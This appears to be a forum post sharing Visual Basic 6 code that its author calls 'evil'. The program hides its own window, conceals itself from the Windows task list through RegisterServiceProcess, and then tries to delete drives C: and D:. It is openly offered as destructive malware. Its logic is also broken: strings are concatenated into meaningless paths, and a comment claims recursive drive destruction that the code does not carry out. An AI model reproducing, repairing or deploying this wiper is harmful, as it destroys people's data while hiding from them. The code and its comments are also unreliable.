I was bored and feelin' evil
i love evil API...
Private Declare Function GetCurrentProcessID Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Const RSP_SIMPLE_SERVICE = 1
Private Const RSP_UNREGISTER_SERVICE = 0
Private Sub HideIt()
On Error Resume Next
Dim Process_ID As Long
Dim Register_Service As Long
Process_ID = GetCurrentProcessID()
Register_Service = RegisterServiceProcess(Process_ID, RSP_SIMPLE_SERVICE)
End Sub
Private Sub Form_Load()
On Error Resume Next
Call HideIt
Me.Hide
App.TaskVisible = False
Dim path As String
'if user does not have drive D (Backup/Restore)
'it will beep, but will recursively **** up any
'other drives specied
If Error Then GoTo Err
If FileExists("C:\") & ("D:\") = True Then
Kill "C:\" & "D:\"
If DriveExists("C:\") & ("D:\") Then
Kill "C:\" & "D:\"
Else
GoTo Err
End If
End If
Err: Beep
End Sub
put this in your modile...
Public Function FileExists(sFileName As String) As Boolean
If Len(sFileName$) = 0 Then
FileExists = False
Exit Function
End If
If Len(Dir$(sFileName$)) Then
FileExists = True
Else
FileExists = False
End If
End Function
Public Function DriveExists(sDriveName As String) As Boolean
If Len(sDriveName$) = 0 Then
DriveExists = False
Exit Function
End If
If Len(Dir$(sDriveName$)) Then
DriveExists = True
Else
DriveExists = False
End If
End Function
|